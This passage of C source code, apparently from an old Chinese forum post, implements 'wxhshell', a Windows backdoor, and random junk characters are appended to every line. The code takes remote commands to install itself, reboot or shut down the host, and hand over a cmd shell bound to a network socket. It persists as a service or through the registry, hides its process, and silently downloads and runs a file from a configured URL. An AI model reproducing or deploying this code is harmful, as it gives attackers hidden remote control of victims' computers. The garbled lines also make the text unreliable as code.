  // 帮助 )6"p@1\u  
  case '?': { BGVnL}0  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); GLub5GrxR  
    break; 7H6Ge-u  
  } <:(;#&<  
  // 安装 d|87;;X|u  
  case 'i': { VJA/d2Oys  
    if(Install()) AEf[:]i]  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); l' Li!u  
    else ' rXf  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); N?S;v&q+  
    break; 'G[G;?F  
    } H{_D#It  
  // 卸载 ~U7Bo(EJp  
  case 'r': { qoT&N,/  
    if(Uninstall()) hX,RuI  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 3y$6}Kp4?  
    else ]n@T5*=  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); Q6 o1^s  
    break; 1foG*   
    } :SwA) (1  
  // 显示 wxhshell 所在路径 H #X*OJ  
  case 'p': { v:!TqfI  
    char svExeFile[MAX_PATH]; hb0)<^xu  
    strcpy(svExeFile,"\n\r"); z<P?p  
      strcat(svExeFile,ExeFile); *\+oe+3  
        send(wsh,svExeFile,strlen(svExeFile),0); @D["#pe,}  
    break;  EAr;  
    } ?|oN}y"i  
  // 重启 1QhQ#`$<1  
  case 'b': { ]p4?nT@]  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); S+Ia2O)BA  
    if(Boot(REBOOT)) Q|VBH5}1O  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); : maBec)  
    else { zZY1E@~  
    closesocket(wsh); s7jNRY V  
    ExitThread(0); 6]GHCyo  
    } M d Eds|D  
    break; W}7Uh b  
    } 6o]{< T/'  
  // 关机 ',|OoxhbK  
  case 'd': { M a{@b$>  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); ET H ($$M  
    if(Boot(SHUTDOWN)) y_Gs_xg  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 2S:B%cj9m  
    else { m'G=WO*%  
    closesocket(wsh); mJ[_q >  
    ExitThread(0); @az<D7j2  
    } U![$7k>,pr  
    break; Dbx zqd  
    } n0K+/}m  
  // 获取shell J_XkQR[Y  
  case 's': { B1I{@\z0G  
    CmdShell(wsh); @yQ1F> t  
    closesocket(wsh); xU{0rM"  
    ExitThread(0); dB&<P[$+8  
    break; FKe/xz  
  } ,T ^A?t  
  // 退出 DqI"B  
  case 'x': { "9X(.v0ze  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); Jv%)UR.]  
    CloseIt(wsh); qv2J0'd'.  
    break; VWYNq^<AT  
    } Jp8,s%  
  // 离开 I@Y k &aU  
  case 'q': { B"88 .U}$  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); iYdg1  
    closesocket(wsh); ;$]a.9 -  
    WSACleanup(); Hit )mwfYE  
    exit(1); z#n+iC$9  
    break; SEu:31k{o  
        }  SN}3  
  } Xrc{w Dn  
  } -nD} k  
FyXO @yF  
  // 提示信息 0>;[EFL  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 7)>L#(N  
} wpNb/U  
  } [H$kVQC  
"*c&[ALw  
  return; RZ9_*Lq7+  
} YXF^4||j.c  
gH"a MEC  
// shell模块句柄 8A*tpMV?J  
int CmdShell(SOCKET sock) i$:yq.DW  
{ fI.X5c>WK  
STARTUPINFO si; a>ye  
ZeroMemory(&si,sizeof(si)); |1<B(iB'{/  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; >h9~ /  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; ljg6uz1v %  
PROCESS_INFORMATION ProcessInfo; z>=;Xe8P8n  
char cmdline[]="cmd"; sUk n.g!  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); W=#jtU`:5  
  return 0; gId :IR  
} 'Vhnio;qC  
8[ ZuVJ]  
// 自身启动模式 ) 5x$J01S  
int StartFromService(void) fkk9&QB%(  
{ iP9Dr<P  
typedef struct Y{t}sO%A  
{ _?$')P|  
  DWORD ExitStatus; z,!A4ws  
  DWORD PebBaseAddress; G!D~*B9 G  
  DWORD AffinityMask; ]r#NjP  
  DWORD BasePriority; 96gaun J  
  ULONG UniqueProcessId; xo-{N[r  
  ULONG InheritedFromUniqueProcessId; h7xgLe@  
}   PROCESS_BASIC_INFORMATION; h-m0Ro?6  
h,/3 }  
PROCNTQSIP NtQueryInformationProcess; a94 nB  
ep l1xfr  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; O "Aeg|  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; -O@/S9]S)  
6hFs{P7  
  HANDLE             hProcess; "`pg+t&  
  PROCESS_BASIC_INFORMATION pbi; zR=g<e1xe  
!l9 #a{#6l  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); 6Tq2WZ}<'  
  if(NULL == hInst ) return 0; Pi%-bD/w  
V Kc`mE  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); O=u.J8S2  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); :19s=0  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); X&i" K'mV  
N B8Yn\{B  
  if (!NtQueryInformationProcess) return 0; ZS&lXgo  
nXh<+7  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); B\dhw@hM  
  if(!hProcess) return 0; V%^d~^m,H  
7=A @P  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; tg~7^(s  
)_ l( WF.  
  CloseHandle(hProcess); Ax4;[K\Q  
eW_EWVH  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); nxuR^6 Ai  
if(hProcess==NULL) return 0; H_l>L9/\  
B+'w'e$6  
HMODULE hMod; 5YiBPB")  
char procName[255]; |A H@W#7j  
unsigned long cbNeeded; ?xE'i[F @  
GlT/JZ9  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); S2=x,c$  
a7]Z_Gk  
  CloseHandle(hProcess); hg `N`O  
,nw5 M.D_  
if(strstr(procName,"services")) return 1; // 以服务启动 )VG_Y9;Xk:  
H .sfM   
  return 0; // 注册表启动 hSk  
} S~y.>X3"P  
z+?48 }  
// 主模块 i_$?sg#=yk  
int StartWxhshell(LPSTR lpCmdLine) 2bpFQ8q  
{ 7. eiM!7g  
  SOCKET wsl; S.owVMQ  
BOOL val=TRUE; <FvljKuq+  
  int port=0; t\ 9Y)d  
  struct sockaddr_in door; 1| xKb (_l  
OJLyqncw  
  if(wscfg.ws_autoins) Install(); A+hT2Ew@t}  
ksqb& ux6  
port=atoi(lpCmdLine); fp"GdkO#}i  
R1:7]z0B  
if(port<=0) port=wscfg.ws_port; `u8=~]rblj  
y$?O0S%F  
  WSADATA data; t3.I ` Z  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; i32S(3se  
* \ tR  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   N)YoWA>#bF  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); :-b-)*TC;  
  door.sin_family = AF_INET; R9Y{kk0M  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); JaJyH%+$!  
  door.sin_port = htons(port); @])}+4D(S  
35SL*zS@-  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { 'G3|PA7v  
closesocket(wsl); X'cm0}2  
return 1; Dr#V^"Dte  
} sO&eV68 [  
X*M--*0q'  
  if(listen(wsl,2) == INVALID_SOCKET) { j1dz'G}hj  
closesocket(wsl); fR lJ`\ t  
return 1; ,,V uvn  
} Ozc9yy!%  
  Wxhshell(wsl); ze#ncnMo  
  WSACleanup(); M`@Es#s  
AyMbwCR"X  
return 0; `?vI_>md'!  
mP ^*nB@,  
} `)1qq @  
C2K<CDVw  
// 以NT服务方式启动 3;EBKGg|  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) ? )"v~vs  
{ n,|YJ,v[  
DWORD   status = 0; /_/Z/D!  
  DWORD   specificError = 0xfffffff; S2 YxA  
A:,V)  
  serviceStatus.dwServiceType     = SERVICE_WIN32; o){<PN|z  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; nZkMyRk  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; Ea N^<  
  serviceStatus.dwWin32ExitCode     = 0; -k@Uo(MB  
  serviceStatus.dwServiceSpecificExitCode = 0; ch0x*[N@  
  serviceStatus.dwCheckPoint       = 0; ~ZRtNL9   
  serviceStatus.dwWaitHint       = 0; T;B/ Wm!x  
:J6FI6  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); }+ TA+;  
  if (hServiceStatusHandle==0) return; uulzJbV,K  
O>arCr=H  
status = GetLastError(); Th5}?j7  
  if (status!=NO_ERROR) ]\J(  
{ E&|EokSyN  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; ?} U l(  
    serviceStatus.dwCheckPoint       = 0; eLop}*k  
    serviceStatus.dwWaitHint       = 0; .+CMm5T  
    serviceStatus.dwWin32ExitCode     = status; 3+:uV  
    serviceStatus.dwServiceSpecificExitCode = specificError;  7e@Bkq0)  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); Zq\ p%AU9  
    return; V?z-Dt C  
  } 3- 4jSN\  
yI*h"?7T  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; q yYf&VC}  
  serviceStatus.dwCheckPoint       = 0; 1s#GY<<  
  serviceStatus.dwWaitHint       = 0; C<iOa)_@Q  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); Bd*\|M  
} W:=CpbwENX  
ZY> u4v.  
// 处理NT服务事件,比如:启动、停止 [$%0[;jtS  
VOID WINAPI NTServiceHandler(DWORD fdwControl) ZZF\;  
{ Y t0s  
switch(fdwControl) ;i;;{j@$i  
{ |#(g 8ua7  
case SERVICE_CONTROL_STOP: L~L]MC&  
  serviceStatus.dwWin32ExitCode = 0; M% FKg/  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; m}fY5r<<;/  
  serviceStatus.dwCheckPoint   = 0; t)*A#  
  serviceStatus.dwWaitHint     = 0; *Ja,3Qq  
  { 0'tm.,  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); n(el  
  } :Nw7!fd  
  return; zH?&FtO  
case SERVICE_CONTROL_PAUSE: \G &q[8F\  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; 9 kS;_(DB  
  break; <<9Y=%C+  
case SERVICE_CONTROL_CONTINUE: 3 p9LVa  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; oJ)v6"j  
  break; rZ7)sE5L  
case SERVICE_CONTROL_INTERROGATE: ?anKSGfj  
  break; +jz%:D  
}; tM{U6k  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); H.: [# a  
} m3iB`  
X+k`UM~  
// 标准应用程序主函数 s2\6\8Ipn  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) H3" D$Nv  
{ s$;IR c5!6  
aQhr$aH  
// 获取操作系统版本 >d#6qXKAU  
OsIsNt=GetOsVer(); ^Dhu8C(  
GetModuleFileName(NULL,ExeFile,MAX_PATH); de?lO ;8  
<\S j5  
  // 从命令行安装 DM@&=c  
  if(strpbrk(lpCmdLine,"iI")) Install(); $ *^E  
'l3K*lck  
  // 下载执行文件 {V9}W<  
if(wscfg.ws_downexe) { (Qys`D   
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) }X*.Vv A  
  WinExec(wscfg.ws_filenam,SW_HIDE); ) "To h=x]  
} QG=&{-I~[3  
SB`"%6  
if(!OsIsNt) { " ^:$7~%bA  
// 如果时win9x,隐藏进程并且设置为注册表启动 HFd>UdT%  
HideProc(); vxC,8Z  
StartWxhshell(lpCmdLine); auT$-Ki8  
} i#y3QCNqf^  
else 6J%+pt[tu  
  if(StartFromService()) N8:&v  
  // 以服务方式启动 )IP{yL8c  
  StartServiceCtrlDispatcher(DispatchTable); *Ad7GG1/u  
else yS:1F PA$_  
  // 普通方式启动 2Md'<.  
  StartWxhshell(lpCmdLine); IKV:J9  
mh8~w~/[  
return 0; aF\?X &|  
}
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只看该作者 1 发表于: 2006-10-10
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